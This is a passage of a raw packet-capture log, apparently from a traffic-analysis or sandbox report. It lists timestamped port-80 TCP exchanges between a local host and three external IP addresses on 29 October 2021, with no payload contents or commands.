Oct 29, 2021 20:30:02.060842991 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.060869932 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.060888052 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.060913086 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.060936928 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.060955048 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.061737061 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.062355995 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.062386036 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.062407970 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.062422037 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.062494993 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.062599897 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.114196062 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.114221096 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.114243031 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.114301920 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.120248079 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.120323896 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.173801899 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.173835993 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.173868895 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.173875093 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.173899889 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.173906088 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.173923969 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.173973083 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.174082041 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.174113035 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.174526930 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.174556017 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.174576998 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.174597979 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.174618006 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.174640894 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.174694061 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.174725056 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.175133944 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.175162077 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.175184965 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.175206900 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.175228119 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.175229073 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.175259113 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.175276041 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.175307989 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.175317049 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.175345898 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.175369024 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.175390959 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.175407887 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.175412893 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.175436020 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.175451994 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.175797939 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.176696062 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.176737070 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.176764011 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.176776886 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.176800966 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.176824093 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.176824093 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.176842928 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.177407980 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.177530050 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.178734064 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.179279089 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.204521894 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.204547882 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.217449903 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.217494965 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.217506886 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.217525959 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.217550039 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.217575073 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.217664003 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.217694044 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.217703104 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.218055010 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.218080044 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.218101025 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.218123913 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.218152046 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.218153000 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.218177080 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.218194008 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.218204975 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.218274117 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.245544910 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.246074915 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.248953104 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.248985052 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.249002934 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.249027014 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.249049902 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.249073029 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.249085903 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.249134064 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.249319077 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.249341965 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.249365091 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.249420881 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.249425888 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.249474049 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.258090019 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.258126974 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.258148909 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.258179903 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.260268927 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.260349989 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.287277937 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295238018 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295279026 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295331001 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295353889 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295378923 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295398951 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.295403957 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295427084 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295452118 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295464993 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.295475006 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295495987 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.295497894 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295541048 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295562983 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295562983 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.295586109 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295607090 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.295608044 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295631886 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295654058 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.295655966 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295680046 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295702934 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295725107 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295728922 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.295747042 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295749903 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.295768976 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.295783043 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.327817917 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.327857971 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.327879906 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.327903986 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.327924967 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.327946901 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.327963114 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.327985048 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.328003883 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.328007936 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.328028917 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.328049898 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.328068018 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.328072071 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.328093052 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.328100920 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.328109026 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.328166008 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.328171015 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.340508938 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.364275932 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.364320040 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.364343882 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.364367008 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.364387989 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.364409924 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.364471912 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.364871979 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.364882946 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.364909887 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.364933014 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.364954948 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.364975929 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.364998102 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.365051031 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.365057945 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.365061045 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.365480900 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.370893002 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.375391960 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.375530005 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.379709959 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.379750013 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.379771948 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.379793882 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.379827976 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.379851103 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.379870892 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.379894018 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.379914999 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.379930973 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.379937887 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.379960060 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.379981995 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380002975 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380023956 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380026102 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380028009 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380048037 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380069971 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380091906 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380111933 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380134106 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380135059 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380140066 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380156040 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380177975 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380198956 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380207062 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380213022 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380219936 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380242109 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380264044 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380284071 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380295038 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380299091 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380305052 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380326986 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380350113 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380367041 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380372047 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380373001 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380393028 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380414963 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380434990 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380455971 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380462885 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380469084 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380476952 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380497932 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380518913 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380532980 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380537033 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380542994 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380563021 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380584002 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.380630016 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.380636930 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.415515900 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.415600061 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.415626049 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.415648937 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.415672064 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.415693998 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.415695906 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.415719032 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.415728092 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.415741920 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.415765047 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.415787935 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.415793896 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.415810108 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.415831089 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.415849924 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.417273045 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.417308092 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.418004990 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.418040991 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.418046951 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.418071032 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.418087959 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.418119907 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.418143988 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.421758890 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.421796083 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.421955109 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.442353964 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.442382097 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.449177980 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.449215889 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.449238062 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.449259043 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.449280024 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.449302912 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.449376106 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.449428082 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.449907064 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.450073957 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.450103998 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.450131893 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.450153112 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.450170994 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.450174093 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.450196981 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.450216055 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.450249910 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.450320959 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.451224089 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.461859941 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.461894035 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.461915970 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.461937904 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.461960077 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.461981058 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.461987019 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462002039 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462007999 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462024927 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462064028 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462068081 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462191105 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462255001 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462276936 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462297916 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462318897 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462341070 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462348938 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462356091 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462364912 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462385893 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462407112 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462425947 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462429047 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462430954 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462450981 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462472916 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462495089 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462517023 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462533951 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462539911 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462543011 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462560892 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462584019 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462593079 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462601900 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462605953 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462627888 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462649107 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462670088 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462691069 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.462708950 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.462713957 CEST	80	49877	193.56.146.214	192.168.2.3
